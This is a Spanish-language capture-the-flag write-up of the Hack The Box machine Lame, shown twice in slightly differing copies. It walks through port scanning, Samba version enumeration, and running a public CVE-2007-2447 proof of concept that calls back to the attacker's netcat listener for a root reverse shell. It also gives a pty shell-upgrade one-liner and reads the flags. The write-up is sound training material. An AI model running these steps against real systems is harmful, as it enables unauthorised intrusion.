

LATATE BOX

DANIEL MIRANDA BARCELONA (EXCALIBUR)

Introducción

Máquina de Hack The Box orientada a principiantes que tiene como objetivo enseñar y practicar técnicas fundamentales de enumeración, explotación de vulnerabilidades comunes en servicios y uso de payloads y exploits.

Contexto

LAME es una máquina que emula un entorno con vulnerabilidades en distintos servicios, conocidas y explotables fácilmente por profesionales y entusiastas del hacking ético.

Descripción del problema

El reto principal de la máquina LAME es obtener acceso total al sistema a partir de la explotación de vulnerabilidades. El usuario debe realizar una enumeración para identificar puntos débiles y llevar a cabo la explotación del sistema para obtener el control completo.

Escaneo inicial y descubrimiento de puertos

Iniciamos, con un escaneo de la IP objetivo para detectar todos los puertos abiertos en el sistema.

```
[eu-dedivip-1]-[10.10.14.104]-[excal1bur@htb-phu2mwejid]-[~]
[*] nmap -p- 10.129.136.84
```

Estos son los puertos descubiertos en el objetivo.

```
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
```

Enumeración detallada de servicios

A continuación, realizaremos un escaneo más detallado para identificar las versiones de los servicios expuestos en el objetivo.

```
[*]$ nmap -p 21,22,139,445,3632 -sV 10.129.136.84

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-03 07:25 CDT

Nmap scan report for 10.129.136.84

Host is up (0.0078s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Análisis de accesos y vulnerabilidades

Posteriormente, analizaremos si existe acceso anónimo (anonymous login) en los distintos servicios y buscaremos en recursos como Rapid7, ExploitDB y SearchSploit para identificar posibles vulnerabilidades en los servicios detectados.

Podemos observar que la versión del servidor FTP tiene un exploit disponible.

Aunque podríamos probarlo, en este caso dicho exploit no funcionará, por lo que procederemos con otro enfoque.

Tanto el servicio **FTP como SMB permiten conexión sin autenticación**, pero no encontraremos nada interesante, así que pasaremos a analizar las versiones del servicio SMB.

Para ello, utilizaremos un módulo de Metasploit que nos revelará las versiones de Samba.

Enumeración de Samba

En las opciones del módulo, configuraremos la IP y el puerto del objetivo.

```
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> exploit
[*] 10.129.136.84:139 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.129.136.84: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Con la versión obtenida, buscaremos información sobre posibles vulnerabilidades asociadas.

Preparación para explotación de Samba

Usaremos un exploit de ejecución de comandos (Command Execution). Podemos emplearlo mediante Metasploit o buscar un Proof of Concept (PoC) funcional; en mi caso, he encontrado un PoC en GitHub:

https://github.com/amriunix/CVE-2007-2447.git

Clonaremos el repositorio y accederemos a la carpeta correspondiente.

```
[eu-dedivip-1]=[10.10.14.104]=[excal1bur@htb-phu2mwejid]=[~/Desktop]
    [*]$ sudo git clone https://github.com/amriunix/CVE-2007-2447.git
Cloning into 'CVE-2007-2447'...
remote: Enumerating objects: 11, done.
remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11 (from 1)
Receiving objects: 100% (11/11), done.
Resolving deltas: 100% (3/3), done.
```

Luego, otorgaremos permisos de ejecución al archivo usermap script.py.

```
[eu-dedivip-1]=[10.10.14.104]=[excal1bur@htb-phu2mwejid]=[~/Desktop/CVE-2007-2447]
    [*]$ ls
README.md usermap_script.py

[eu-dedivip-1]=[10.10.14.104]=[excal1bur@htb-phu2mwejid]=[~/Desktop/CVE-2007-2447]
    [*]$ sudo chmod +x usermap_script.py
```

Para conseguir la ejecución de código, debemos configurar un listener en un puerto específico, por ejemplo, usando Netcat.

Preparación para obtención de conexión

```
[eu-dedivip-1]-[10.10.14.104]-[excal1bur@htb-phu2mwejid]-[~]
[*]$ nc -lvnp 4444
listening on [any] 4444 ...
```

Exploración y escalada a shell interactiva y estable

Ejecutaremos el script proporcionando la IP y puerto del objetivo, así como nuestra IP y el puerto donde estamos escuchando con Netcat.

```
[eu-dedivip-1]=[10.10.14.104]=[excal1bur@htb-phu2mwejid]=[~/Desktop/CVE-2007-2447]
    [*] python3 usermap_script.py 10.129.136.84 139 10.10.14.104 4444
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !
```

Una vez ejecutado el payload, si todo ha salido correctamente, veremos la conexión de Netcat establecida con el objetivo.

```
[eu-dedivip-1]-[10.10.14.104]-[excal1bur@htb-phu2mwejid]-[~]
    [*]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.104] from (UNKNOWN) [10.129.136.84] 55924
ls
bin
boot
cdrom
dev
etc
```

Para obtener una shell más estable, podemos mejorar la TTY ejecutando el siguiente one-liner en Python:

```
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/#
```

Obtención de flags

Finalmente, en la carpeta del usuario makis encontraremos la flag de usuario, y en la carpeta root podremos obtener la flag de root.

```
cd home/makis/
root@lame:/home/makis# cat user.txt
cat user.txt

root@lame:/home/makis#
```

```
root@lame:/# cd root
cd root
root@lame:/root# ls
ls
Desktop reset_logs.sh root.txt vnc.log
root@lame:/root# cat root.txt
cat root.txt
root@lame:/root#
```

Introducción

Máquina de Hack The Box orientada a principiantes que tiene como objetivo enseñar y practicar técnicas fundamentales de enumeración, explotación de vulnerabilidades comunes en servicios y uso de payloads y exploits.

Contexto

LAME es una máquina que emula un entorno con vulnerabilidades en distintos servicios, conocidas y explotables fácilmente por profesionales y entusiastas del hacking ético.

Descripción del problema

El reto principal de la máquina LAME es obtener acceso total al sistema a partir de la explotación de vulnerabilidades. El usuario debe realizar una enumeración para identificar puntos débiles y llevar a cabo la explotación del sistema para obtener el control completo.

Escaneo inicial y descubrimiento de puertos

Iniciamos con un escaneo de la IP objetivo para detectar todos los puertos abiertos en el sistema.

```
[eu-dedivip-1]-[10.10.14.104]-[excal1bur@htb-phu2mwejid]-[~]
[★]$ nmap -p- 10.129.136.84
```

Estos son los puertos descubiertos en el objetivo.

```
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
```

Enumeración detallada de servicios

A continuación, realizaremos un escaneo más detallado para identificar las versiones de los servicios expuestos en el objetivo.

```
[*]$ nmap -p 21,22,139,445,3632 -sV 10.129.136.84

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-03 07:25 CDT

Nmap scan report for 10.129.136.84

Host is up (0.0078s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Análisis de accesos y vulnerabilidades

Posteriormente, analizaremos si existe acceso anónimo (anonymous login) en los distintos servicios y buscaremos en recursos como Rapid7, ExploitDB y SearchSploit para identificar posibles vulnerabilidades en los servicios detectados.

Podemos observar que la versión del servidor FTP tiene un exploit disponible.

Aunque podríamos probarlo, en este caso dicho exploit no funcionará, por lo que procederemos con otro enfoque.

Tanto el servicio **FTP como SMB permiten conexión sin autenticación**, pero no encontraremos nada interesante, así que pasaremos a analizar las versiones del servicio SMB.

Para ello, utilizaremos un módulo de Metasploit que nos revelará las versiones de Samba.

Enumeración de Samba

En las opciones del módulo, configuraremos la IP y el puerto del objetivo.

```
[msf](Jobs:0 Agents:0) auxiliary(scanner/smb/smb_version) >> exploit
[*] 10.129.136.84:139 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.129.136.84: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Con la versión obtenida, buscaremos información sobre posibles vulnerabilidades asociadas.

```
[eu-dedivip-1]-[10.10.14.104]-[excallbur@htb-phu2mwejid]-[~]

→ [*]$ searchsploit samba 3.0.20

Exploit Title

| Path

Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb

Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt

Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py

Shellcodes: No Results
```

Preparación para explotación de Samba

Usaremos un exploit de ejecución de comandos (Command Execution). Podemos emplearlo mediante Metasploit o buscar un Proof of Concept (PoC) funcional; en mi caso, he encontrado un PoC en GitHub:

https://github.com/amriunix/CVE-2007-2447.git

Clonaremos el repositorio y accederemos a la carpeta correspondiente.

```
[eu-dedivip-1]=[10.10.14.104]=[excallbur@htb-phu2mwejid]=[~/Desktop]
    [*]$ sudo git clone https://github.com/amriunix/CVE-2007-2447.git
Cloning into 'CVE-2007-2447'...
remote: Enumerating objects: 11, done.
remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11 (from 1)
Receiving objects: 100% (11/11), done.
Resolving deltas: 100% (3/3), done.
```

Luego, otorgaremos permisos de ejecución al archivo usermap script.py.

```
[eu-dedivip-1]=[10.10.14.104]=[excal1bur@htb-phu2mwejid]=[~/Desktop/CVE-2007-2447]
    [*]$ ls
README.md usermap_script.py

[eu-dedivip-1]=[10.10.14.104]=[excal1bur@htb-phu2mwejid]=[~/Desktop/CVE-2007-2447]
    [*]$ sudo chmod +x usermap_script.py
```

Para conseguir la ejecución de código, debemos configurar un listener en un puerto específico, por ejemplo, usando Netcat.

Preparación para obtención de conexión

```
[eu-dedivip-1]-[10.10.14.104]-[excal1bur@htb-phu2mwejid]-[~]
[*]$ nc -lvnp 4444
listening on [any] 4444 ...
```

Exploración y escalada a shell interactiva y estable

Ejecutaremos el script proporcionando la IP y puerto del objetivo, así como nuestra IP y el puerto donde estamos escuchando con Netcat.

Una vez ejecutado el payload, si todo ha salido correctamente, veremos la conexión de Netcat establecida con el objetivo.

```
[eu-dedivip-1]-[10.10.14.104]-[excal1bur@htb-phu2mwejid]-[~]
    [*]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.104] from (UNKNOWN) [10.129.136.84] 55924
ls
bin
boot
cdrom
dev
etc
```

Para obtener una shell más estable, podemos mejorar la TTY ejecutando el siguiente one-liner en Python:

```
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/#
```

Obtención de flags

Finalmente, en la carpeta del usuario makis encontraremos la flag de usuario, y en la carpeta root podremos obtener la flag de root.

```
cd home/makis/
root@lame:/home/makis# cat user.txt
cat user.txt
...
root@lame:/home/makis#
```

```
root@lame:/# cd root
cd root
root@lame:/root# ls
ls
Desktop reset_logs.sh root.txt vnc.log
root@lame:/root# cat root.txt
cat root.txt
root@lame:/root#
```